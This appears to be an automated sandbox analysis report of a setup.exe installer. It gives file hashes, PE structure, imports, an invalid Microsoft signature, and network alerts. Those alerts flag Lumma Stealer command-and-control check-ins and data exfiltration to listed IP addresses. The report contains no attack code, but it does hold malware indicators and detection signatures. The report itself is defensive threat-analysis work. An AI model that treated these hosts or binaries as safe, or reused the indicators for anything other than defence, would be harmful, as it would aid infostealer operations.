SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brldrrxw.u1a.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c2rg4htn.ckc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dwgkswk5.0yu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hy2c2ur1.jio.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_npp0ob0v.tlm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.4387255070447271
TrID:	Win32 Executable (generic) a (10002005/4) 97.75% Windows ActiveX control (116523/4) 1.14% Inno Setup installer (109748/4) 1.07% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	setup.exe
File size:	74'567'204 bytes
MD5:	e9f9e4ddb34cbef682e650569394a4e3
SHA1:	6080ccbce12a6d6d7c8f10eb1450bb1bfaeeee51
SHA256:	5817797078316deff79a91222fe359ddedbbecce35740de4ca11cbc88c6f8c2f
SHA512:	e42b7957dc675933141e3132fc23709c6fde322afbff6c28e305e515a9b5cb4c7937487d6fa383def82bd110c75af0dfab1bd4628f9c9e9d9ace933389a69985
SSDEEP:	24576:HObekYkfohrP337uzHnA6cwqpeEFHR9vZ8DEx9g9GQr2yXhvkqIq:HO6ZlrP337uzHnA6cnnHvRxIGQpcQ
TLSH:	FCF78EE5663882A19F4B77A9FBC792CD991CE100233114F7F3BAC54E8D624DE4232D69
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	fffeee412545c000

Static PE Info

General

Entrypoint:	0x497270
Entrypoint Section:	CODE
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	8c4dc1fd8c5de32c5f78cf7b057b0119

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	15/12/2020 22:24:20 02/12/2021 22:24:20
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	4068B1B0494EFA79F5A751DCCA8111CD
Thumbprint SHA-1:	914A09C2E02C696AF394048BCB8D95449BCD5B9E
Thumbprint SHA-256:	4A838904E732A380E2856A9D6FEE926E5C57EB59336292AC5D9E47C9B2C1ED13
Serial:	33000003DFFB6AE3F427ECB6A30000000003DF

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF4h
push ebx
push esi
push edi
call 00007FA4BCCD8C1Bh
call 00007FA4BCCDAF72h
call 00007FA4BCCDBC01h
call 00007FA4BCCDF21Ch
call 00007FA4BCCDF44Bh
call 00007FA4BCCE6222h
call 00007FA4BCCE6295h
call 00007FA4BCCE81ECh
call 00007FA4BCCEE8FFh
call 00007FA4BCCFA7FAh
call 00007FA4BCD04E21h
call 00007FA4BCD06108h
call 00007FA4BCD24833h
call 00007FA4BCD24CD6h
call 00007FA4BCD266F9h
call 00007FA4BCD280ECh
call 00007FA4BCD2BC33h
call 00007FA4BCD2CB32h
call 00007FA4BCD2E36Dh
call 00007FA4BCD39694h
call 00007FA4BCD417DBh
call 00007FA4BCD4D0AAh
call 00007FA4BCD57D61h
call 00007FA4BCD69A7Ch
xor eax, eax
push ebp
push 0049732Fh
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
push 00000001h
call 00007FA4BCCDB2FBh
call 00007FA4BCD6C87Ah
mov eax, 00496FB0h
push eax
push 00496FBCh
mov eax, dword ptr [0049A628h]
call 00007FA4BCCF9D19h
call 00007FA4BCD6C8A8h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007FA4BCD6CB6Bh
jmp 00007FA4BCCD8691h
call 00007FA4BDD6C6D4h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9c000	0x25a4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xaa000	0x64a00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x471ac54	0x21d0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa1000	0x0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa0000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x964b0	0x96600	7c37e17a08c830cc948ca03edd45a6a7	False	0.5005909704904405	data	6.6132868867529195	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x98000	0x10ac	0x1200	a74ea1c5858a1006838feba85c7a8c8b	False	0.4407552083333333	data	4.338309579693486	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9a000	0x14ac	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x9c000	0x25a4	0x2600	ae6941eb6076de24634829aa5a7aa16f	False	0.38394325657894735	data	5.032369843350049	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x9f000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa0000	0x18	0x200	93b7fd2e23d45a502cf114b2fa0c97c6	False	0.05078125	data	0.190488766434666	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa1000	0x88e8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xaa000	0x64a00	0x64a00	4fb2e8113063181664ee9f9551fedcd1	False	0.5894846661490684	data	7.45010962763901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xaac20	0x134	data			0.4805194805194805
RT_CURSOR	0xaad54	0x134	data			0.38311688311688313
RT_CURSOR	0xaae88	0x134	data			0.36038961038961037
RT_CURSOR	0xaafbc	0x134	data			0.4090909090909091
RT_CURSOR	0xab0f0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_CURSOR	0xab224	0x134	data			0.4642857142857143
RT_BITMAP	0xab358	0x4e8	Device independent bitmap graphic, 48 x 48 x 4, image size 1152			0.2945859872611465
RT_BITMAP	0xab840	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.521551724137931
RT_ICON	0xab928	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.11856846473029045
RT_ICON	0xaded0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.22889305816135083
RT_ICON	0xaef78	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.22295081967213115
RT_ICON	0xaf900	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1680	English	United States	0.3325581395348837
RT_ICON	0xaffb8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.36879432624113473
RT_STRING	0xb0420	0x3a8	data			0.37393162393162394
RT_STRING	0xb07c8	0x348	data			0.3630952380952381
RT_STRING	0xb0b10	0x3ac	data			0.40425531914893614
RT_STRING	0xb0ebc	0x3e2	data			0.3822937625754527
RT_STRING	0xb12a0	0x234	data			0.5124113475177305
RT_STRING	0xb14d4	0x2da	data			0.46301369863013697
RT_STRING	0xb17b0	0x2fa	data			0.36351706036745407
RT_STRING	0xb1aac	0x202	data			0.4961089494163424
RT_STRING	0xb1cb0	0xc8	data			0.675
RT_STRING	0xb1d78	0x1ec	data			0.5060975609756098
RT_STRING	0xb1f64	0x27a	data			0.471608832807571
RT_STRING	0xb21e0	0x3aa	data			0.42643923240938164
RT_STRING	0xb258c	0x7e	data			0.6428571428571429
RT_STRING	0xb260c	0x36c	data			0.386986301369863
RT_STRING	0xb2978	0x2f2	data			0.35543766578249336
RT_STRING	0xb2c6c	0x30c	data			0.3871794871794872
RT_STRING	0xb2f78	0x2ce	data			0.42618384401114207
RT_STRING	0xb3248	0x68	data			0.75
RT_STRING	0xb32b0	0xb4	data			0.6277777777777778
RT_STRING	0xb3364	0xae	data			0.5344827586206896
RT_RCDATA	0xb3414	0x1800	PE32+ executable (console) x86-64, for MS Windows	English	United States	0.3826497395833333
RT_RCDATA	0xb4c14	0x1000	PE32 executable (GUI) Intel 80386, for MS Windows	English	United States	0.358642578125
RT_RCDATA	0xb5c14	0x5b10	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows	English	United States	0.3255404941660947
RT_RCDATA	0xbb724	0x125	Delphi compiled form 'TMainForm'			0.7508532423208191
RT_RCDATA	0xbb84c	0x3a2	Delphi compiled form 'TNewDiskForm'			0.524731182795699
RT_RCDATA	0xbbbf0	0x320	Delphi compiled form 'TSelectFolderForm'			0.53625
RT_RCDATA	0xbbf10	0x300	Delphi compiled form 'TSelectLanguageForm'			0.5703125
RT_RCDATA	0xbc210	0x5d9	Delphi compiled form 'TUninstallProgressForm'			0.4562458249832999
RT_RCDATA	0xbc7ec	0x461	Delphi compiled form 'TUninstSharedFileForm'			0.4335414808206958
RT_RCDATA	0xbcc50	0x1faf	Delphi compiled form 'TWizardForm'			0.23018123535938848
RT_GROUP_CURSOR	0xbec00	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xbec14	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xbec28	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xbec3c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xbec50	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xbec64	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0xbec78	0x4c	data	English	United States	0.7894736842105263
RT_VERSION	0xbecc4	0x158	370 sysV pure executable not stripped	English	United States	0.561046511627907
RT_MANIFEST	0xbee1c	0x560	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4251453488372093

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
user32.dll	MessageBoxA
oleaut32.dll	SafeArrayPutElement, SafeArrayCreate, VariantChangeTypeEx, VariantCopyInd, VariantClear, SysStringLen, SysAllocStringLen
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegQueryInfoKeyA, RegOpenKeyExA, RegEnumValueA, RegEnumKeyExA, RegDeleteValueA, RegDeleteKeyA, RegCreateKeyExA, RegCloseKey, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, GetTokenInformation, FreeSid, EqualSid, AllocateAndInitializeSid
kernel32.dll	lstrcmpA, WriteProfileStringA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, VirtualFree, VirtualAlloc, UnmapViewOfFile, TransactNamedPipe, TerminateThread, TerminateProcess, Sleep, SizeofResource, SetNamedPipeHandleState, SetLastError, SetFileTime, SetFilePointer, SetFileAttributesA, SetErrorMode, SetEndOfFile, SetCurrentDirectoryA, RemoveDirectoryA, ReleaseMutex, ReadFile, QueryPerformanceCounter, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileExA, MoveFileA, MapViewOfFile, LockResource, LocalFree, LocalFileTimeToFileTime, LoadResource, LoadLibraryExA, LoadLibraryA, IsDBCSLeadByte, IsBadWritePtr, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetWindowsDirectoryA, GetVersionExA, GetVersion, GetUserDefaultLangID, GetTickCount, GetSystemTimeAsFileTime, GetSystemInfo, GetSystemDirectoryA, GetSystemDefaultLCID, GetShortPathNameA, GetProfileStringA, GetProcAddress, GetPrivateProfileStringA, GetOverlappedResult, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetDriveTypeA, GetDiskFreeSpaceA, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetCurrentDirectoryA, GetComputerNameA, GetCommandLineA, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FlushFileBuffers, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, DeviceIoControl, DeleteFileA, CreateThread, CreateProcessA, CreateNamedPipeA, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CompareFileTime, CloseHandle
mpr.dll	WNetOpenEnumA, WNetGetUniversalNameA, WNetGetConnectionA, WNetEnumResourceA, WNetCloseEnum
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, TextOutA, StretchDIBits, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RoundRect, RestoreDC, RemoveFontResourceA, Rectangle, RectVisible, RealizePalette, Polyline, Pie, PatBlt, MoveToEx, LineTo, LineDDA, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetCurrentPositionEx, GetClipBox, GetBitmapBits, ExtFloodFill, ExcludeClipRect, EnumFontsA, Ellipse, DeleteObject, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateFontIndirectA, CreateDIBitmap, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, Chord, BitBlt, Arc, AddFontResourceA
user32.dll	WindowFromPoint, WinHelpA, WaitMessage, WaitForInputIdle, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowOwnedPopups, ShowCursor, SetWindowRgn, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollPos, SetScrollInfo, SetRectEmpty, SetRect, SetPropA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetCapture, SetActiveWindow, SendNotifyMessageA, SendMessageTimeoutA, SendMessageW, SendMessageA, ScrollWindowEx, ScrollWindow, ScreenToClient, ReplyMessage, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClassA, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharBuffA, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRgn, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetSystemMetrics, GetSystemMenu, GetSysColor, GetSubMenu, GetScrollPos, GetPropA, GetParent, GetWindow, GetMessagePos, GetMessageA, GetMenuStringA, GetMenuState, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassInfoW, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, ExitWindowsEx, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableMenuItem, DrawTextW, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreateWindowExA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcW, CallWindowProcA, CallNextHookEx, BringWindowToTop, BeginPaint, AppendMenuA, CharPrevA, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemBuffA, AdjustWindowRectEx
comctl32.dll	ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Create, InitCommonControls
ole32.dll	CoTaskMemFree, CLSIDFromProgID, CoCreateInstance, CoFreeUnusedLibraries, CoUninitialize, CoInitialize, IsEqualGUID
oleaut32.dll	GetActiveObject, RegisterTypeLib, LoadTypeLib, SysFreeString
shell32.dll	ShellExecuteExA, ShellExecuteA, SHGetFileInfoA, ExtractIconA
shell32.dll	SHChangeNotify, SHBrowseForFolder, SHGetPathFromIDList, SHGetMalloc
comdlg32.dll	GetSaveFileNameA, GetOpenFileNameA
ole32.dll	CoDisconnectObject
advapi32.dll	AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T01:17:09.964578+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	104.21.82.188	443	TCP
2024-12-24T01:17:10.717492+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.82.188	443	TCP
2024-12-24T01:17:10.717492+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.82.188	443	TCP
2024-12-24T01:17:11.963653+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	104.21.82.188	443	TCP
2024-12-24T01:17:12.722344+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.82.188	443	TCP
2024-12-24T01:17:12.722344+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.82.188	443	TCP
2024-12-24T01:17:14.279865+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	104.21.82.188	443	TCP
2024-12-24T01:17:16.543990+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.82.188	443	TCP
2024-12-24T01:17:18.747289+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49709	104.21.82.188	443	TCP
2024-12-24T01:17:21.280418+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49713	104.21.82.188	443	TCP
2024-12-24T01:17:22.030892+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49713	104.21.82.188	443	TCP
2024-12-24T01:17:23.433301+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49720	104.21.82.188	443	TCP
2024-12-24T01:17:25.480876+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49727	104.21.82.188	443	TCP
2024-12-24T01:17:26.569289+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49727	104.21.82.188	443	TCP
2024-12-24T01:17:27.957914+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49733	104.21.27.229	443	TCP
2024-12-24T01:17:32.751193+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49744	172.67.191.144	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 01:17:08.705049038 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:08.705169916 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:08.705257893 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:08.717000961 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:08.717037916 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:09.964477062 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:09.964577913 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:09.968436956 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:09.968470097 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:09.968786955 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:10.012284040 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:10.012362957 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:10.012419939 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:10.717502117 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:10.717608929 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:10.717678070 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:10.719480038 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:10.719501972 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:10.719518900 CET	49704	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:10.719526052 CET	443	49704	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:10.724877119 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:10.724922895 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:10.725017071 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:10.725286007 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:10.725301027 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:11.963577032 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:11.963653088 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:11.965907097 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:11.965914965 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:11.966245890 CET	443	49705	104.21.82.188	192.168.2.5
Dec 24, 2024 01:17:11.967436075 CET	49705	443	192.168.2.5	104.21.82.188
Dec 24, 2024 01:17:11.967464924 CET	49705	443	192.168.2.5	104.21.82.188
